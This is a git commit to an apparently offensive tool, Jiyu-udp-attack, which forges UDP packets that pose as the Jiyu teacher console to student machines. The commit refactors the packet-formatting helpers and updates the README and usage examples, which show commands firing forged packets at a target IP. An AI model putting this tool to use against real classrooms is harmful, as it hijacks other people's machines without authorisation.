refactor: Enhance HexInt and HexStr attribute access

Author: weilycoder

.pylintrc

@@ -1,3 +1,3 @@
 [MASTER]
 py-version = 3.13
-disable = invalid-name, line-too-long, too-many-locals, too-many-arguments
+disable = invalid-name, line-too-long, too-many-locals, too-many-arguments, too-many-return-statements

Jiyu_udp_attack/__main__.py

@@ -92,7 +92,7 @@ def format_usage(self) -> str:
         "    python Jiyu_udp_attack -t 192.168.106.100 -n hacker 1000\n"
         "    python Jiyu_udp_attack -t 192.168.106.100 --hex 444d4f43000001002a020000\n"
         '    python Jiyu_udp_attack -t 192.168.106.100 --pkg ":{rand16.size_2}"\n'
-        '    python Jiyu_udp_attack -t 192.168.106.100 --pkg ":{0.little_4}" 1024\n'
+        '    python Jiyu_udp_attack -t 192.168.106.100 --pkg ":{0.int.little_4}" 1024\n'
         '    python Jiyu_udp_attack -t 192.168.106.100 --pkg ":{0}{1.size_800}" 4d hello\n'
         "    python Jiyu_udp_attack -t 192.168.106.100 --pkg test.txt 1024 hello\n",
         formatter_class=argparse.RawTextHelpFormatter,

Jiyu_udp_attack/packet.py

@@ -2,6 +2,8 @@
 This module is used to forge Jiyu UDP packets.
 """
 
+from __future__ import annotations
+
 import binascii
 import secrets
 
@@ -242,12 +244,22 @@ def __init__(self, value: int = 0):
             raise ValueError("Value must be a non-negative integer")
         self.value = value
 
-    def __getattr__(self, name: str) -> str:
+    def __getattr__(self, name: str) -> HexStr | HexInt:
         try:
             if name.startswith("little_"):
-                return self.value.to_bytes(int(name[7:]), "little").hex()
+                return HexStr(self.value.to_bytes(int(name[7:]), "little").hex())
             if name.startswith("big_"):
-                return self.value.to_bytes(int(name[4:]), "big").hex()
+                return HexStr(self.value.to_bytes(int(name[4:]), "big").hex())
+            if name.startswith("add_"):
+                return HexInt(self.value + int(name[4:]))
+            if name.startswith("sub_"):
+                return HexInt(self.value - int(name[4:]))
+            if name.startswith("mul_"):
+                return HexInt(self.value * int(name[4:]))
+            if name.startswith("div_"):
+                return HexInt(self.value // int(name[4:]))
+            if name.startswith("mod_"):
+                return HexInt(self.value % int(name[4:]))
         except ValueError:
             pass
 
@@ -268,10 +280,18 @@ class HexStr:
     def __init__(self, value: str = ""):
         self.value = str(value)
 
-    def __getattr__(self, name: str) -> str:
+    def __getattr__(self, name: str) -> HexStr | HexInt:
         try:
+            if name == "len":
+                return HexInt(len(self.value))
+            if name == "hex":
+                return HexStr(self.value.encode("utf-8").hex())
+            if name == "int":
+                return HexInt(int(self.value))
+            if name.startswith("int_"):
+                return HexInt(int(self.value, int(name[4:])))
             if name.startswith("size_"):
-                return format_data(self.value, int(name[5:])).hex()
+                return HexStr(format_data(self.value, int(name[5:])).hex())
         except ValueError:
             pass
 
@@ -295,11 +315,4 @@ def pkg_customize(format_str: str, *args: str) -> bytes:
     Returns:
         bytes: The packaged command as a byte array, including a header and formatted data.
     """
-    user_args = []
-    for arg in args:
-        try:
-            user_args.append(HexInt(int(arg)))
-        except ValueError:
-            user_args.append(HexStr(arg))
-
-    return binascii.unhexlify(format_str.format(*user_args, rand16=rand16))
+    return binascii.unhexlify(format_str.format(*map(HexStr, args), rand16=rand16))

README.md

@@ -86,7 +86,7 @@ Example usage:
     python Jiyu_udp_attack -t 192.168.106.100 -n hacker 1000
     python Jiyu_udp_attack -t 192.168.106.100 --hex 444d4f43000001002a020000
     python Jiyu_udp_attack -t 192.168.106.100 --pkg ":{rand16.size_2}"
-    python Jiyu_udp_attack -t 192.168.106.100 --pkg ":{0.little_4}" 1024
+    python Jiyu_udp_attack -t 192.168.106.100 --pkg ":{0.int.little_4}" 1024
     python Jiyu_udp_attack -t 192.168.106.100 --pkg ":{0}{1.size_800}" 4d hello
     python Jiyu_udp_attack -t 192.168.106.100 --pkg test.txt 1024 hello
 ```
@@ -110,21 +110,32 @@ Example usage:
 
 `--pkg` 用于发送格式化的数据包，可以指定参数，首个参数作为格式化字符串，其余参数被应用于字符串的格式化。格式化字符串的内容为 16 进制编码的数据包，因此需要保证应用格式化后字符串为合法的 16 进制编码串。
 
-处理时使用了自定义的类型包装参数，如果一个参数可以解释为十进制数，则它的类型为 `int`，否则为 `str`；此外，还定义了 `rand16` 作为可用变量。
+处理时使用了自定义的类型包装参数，定义了 `HexInt` 和 `HexStr` 两个类型，输入的参数均作为 `HexStr`；此外，还定义了 `rand16` 作为可用变量。
 
 目前支持的属性包括（以位置 `0` 为例）：
 
-- `int`
+- `HexInt`
   + `{0}`：直接输出十进制数字，无前导零。
   + `{0.big_<size>}`：将数转为 `<size>` 位字节，大端序编码；
-  + `{0.little_<size>}`：将数转为 `<size>` 位字节，小端序编码。
-- `str`
+  + `{0.little_<size>}`：将数转为 `<size>` 位字节，小端序编码；
+  + `{0.add_<value>}`：将数加 `<value>`；
+  + `{0.sub_<value>}`：将数减 `<value>`，请注意 `HexInt` 不支持负数；
+  + `{0.mul_<value>}`：将数乘 `<value>`；
+  + `{0.div_<value>}`：将数整除 `<value>`；
+  + `{0.mod_<value>}`：将数对 `<value>` 取模。
+- `HexStr`
   + `{0}`：直接输出字符串本身，因此此时应保证字符串为 16 进制码；
-  + `{0.size_<size>}`：将字符串转化为 `utf-16le` 编码，并填充 `\x00` 到 `<size>` 位。
+  + `{0.len}`：返回字符串的长度；
+  + `{0.hex}`：将字符串转化为 `utf-16le` 编码；
+  + `{0.int}`：将字符串解释为数；
+  + `{0.int_<base>}`：将字符串解释为 `<base>` 进制数；
+  + `{0.size_<size>}`：将字符串转化为 `utf-16le` 编码，并填充 `\x00` 到 `<size>` 位，若超过 `<size>` 位则报错。
 - `rand16`
   + `{rand16}`：生成一个随机字节；
   + `{rand16.size_<size>}`：生成 `<size>` 个随机字节。
 
+注意，`rand16` 的返回值为 `str`，而非 `HexStr`。
+
 ## Jiyu API
 
 记录抓包得到的极域 udp 包格式。

pyproject.toml

@@ -1,6 +1,6 @@
 [project]
 name = "Jiyu-udp-attack"
-version = "0.6.0"
+version = "1.0.0"
 description = "Send packets to student machines disguised as Jiyu teacher machine"
 authors = [{ name = "weilycoder", email = "[email protected]" }]
 license = "MIT"